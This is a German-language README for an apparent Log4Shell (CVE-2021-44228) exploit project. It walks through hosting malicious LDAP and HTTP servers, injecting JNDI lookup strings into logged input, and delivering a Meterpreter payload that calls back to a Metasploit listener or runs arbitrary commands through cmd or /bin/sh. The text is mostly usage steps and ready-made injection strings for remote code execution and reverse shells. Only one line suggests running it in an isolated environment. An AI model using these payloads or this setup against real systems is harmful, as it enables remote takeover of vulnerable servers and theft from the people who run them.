
Log4Shell (Cve-2021-44228) Proof Of Concept
Log4Shell (CVE-2021-44228) Machbarkeitsnachweis
Dies ist ein persönliches Projekt, das einen einfachen POC ausführt, der einen LDAP-Server und einen HTTP-Server für den Log4Shell-Exploit hostet.
Die run_servers.py richtet einen abgespeckten Meterpreter-Client ein, der zurück zur Metasploit-Instanz ruft, die in der LDAP-Anfrage übergeben wird. Dadurch wird die Meterpreter-Instanz in einem Thread innerhalb des ursprünglichen Prozesses ausgeführt, der vom Log4Shell-Exploit betroffen war.
Der LDAP-Server ist in Java geschrieben, der HTTP-Server wird in Python gehostet und bedient aus einem neu erstellten wwwroot-Verzeichnis. Dies erfordert Java, javac und mvn, um die Exploits zu bauen und den LDAP-Server zu hosten. Ich habe Java 8 verwendet.
Python3 wird ebenfalls benötigt.
Führe aus: python3 run_servers.py <deine_ip_adresse> <der_http_port> [ldap_port]
Übergib dann den JNDI-String an einen angreifbaren Client zum Loggen, z.B.: Wenn dein Host 10.20.30.40 und deine Metasploit-Instanz 20.30.40.50 wäre, die auf Port 4444 lauscht, würde es so aussehen: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
Du kannst Klassen erstellen, die ausführbare Programme auf dem Quellsystem starten. Du kannst verschiedene Befehle für Windows- oder Linux-basierte Systeme haben. Um beispielsweise eine Klasse namens TestCmd zu erstellen, die einen Taschenrechner unter Windows und Firefox unter Linux startet, führe aus: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
Du kannst mehrere vorgefertigte Klassen haben. Wenn du keinen Befehl für das Ziel-Betriebssystem angibst, wird nichts ausgeführt. Beachte, dass diese Befehle unter Windows als CMD \c "dein Befehl" und unter Linux als /bin/sh -c "dein Befehl" ausgeführt werden.
Um den obigen Befehl auszulösen, verwende den Namen der erstellten Klasse, z.B.: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Die Datei Payload.java ist die vollständige Meterpreter-Datei, die so eingerichtet ist, dass sie als Thread im aufrufenden Prozess läuft, der das Log4Shell-Problem hatte. Diese muss manuell kompiliert und in das wwwroot-Verzeichnis verschoben werden. Zusätzlich muss die Datei metasploit.dat mit den benötigten Eigenschaften eingerichtet sein.
Das Verzeichnis clients enthält zwei Clients, die ausgeführt werden können. Einer ist ein einfaches Kommandozeilenprogramm, das einen Fehler-Log für den übergebenen ersten Parameter schreibt.
Der andere ist ein einfacher Webserver, der einen Fehler-Log mithilfe der log_me-Header-Informationen schreibt. Hinweis: Dies sollte in einer isolierten, kontrollierten Umgebung ausgeführt werden.
Navigiere zum Verzeichnis clients und führe ./build_clients.sh aus.
Führe aus dem Verzeichnis clients aus: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Portnummer]
Führe aus dem Verzeichnis clients aus: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'